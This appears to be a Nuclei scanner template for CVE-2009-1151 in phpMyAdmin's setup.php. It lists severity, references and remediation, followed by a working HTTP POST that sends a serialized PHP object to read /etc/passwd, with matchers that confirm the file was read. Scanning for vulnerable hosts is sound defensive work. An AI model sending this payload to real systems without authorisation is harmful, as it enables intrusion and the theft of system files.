id: CVE-2009-1151 info: name: PhpMyAdmin Scripts - Remote Code Execution author: princechaddha severity: high description: PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code. remediation: | Update PhpMyAdmin to the latest version or apply the necessary patches. reference: - https://www.phpmyadmin.net/security/PMASA-2009-3/ - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433 - http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin/branches/MAINT_2_11_9/phpMyAdmin/scripts/setup.php?r1=11514&r2=12301&pathrev=12301 - http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php - https://nvd.nist.gov/vuln/detail/CVE-2009-1151 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P cvss-score: 7.5 cve-id: CVE-2009-1151 cwe-id: CWE-94 epss-score: 0.79256 epss-percentile: 0.97939 cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: phpmyadmin product: phpmyadmin tags: deserialization,kev,vulhub,cve,cve2009,phpmyadmin,rce http: - raw: - | POST /scripts/setup.php HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Content-Type: application/x-www-form-urlencoded action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";} matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a004630440220538377de8a872d1b44e607abc2234a625d91bc8ac600d0b86c110ecf738aaadf02204cc17f12124d90129177c10eef1974cefcb9accbde59acd8872d72335917f100:922c64590222798bb761d5b6d8e72950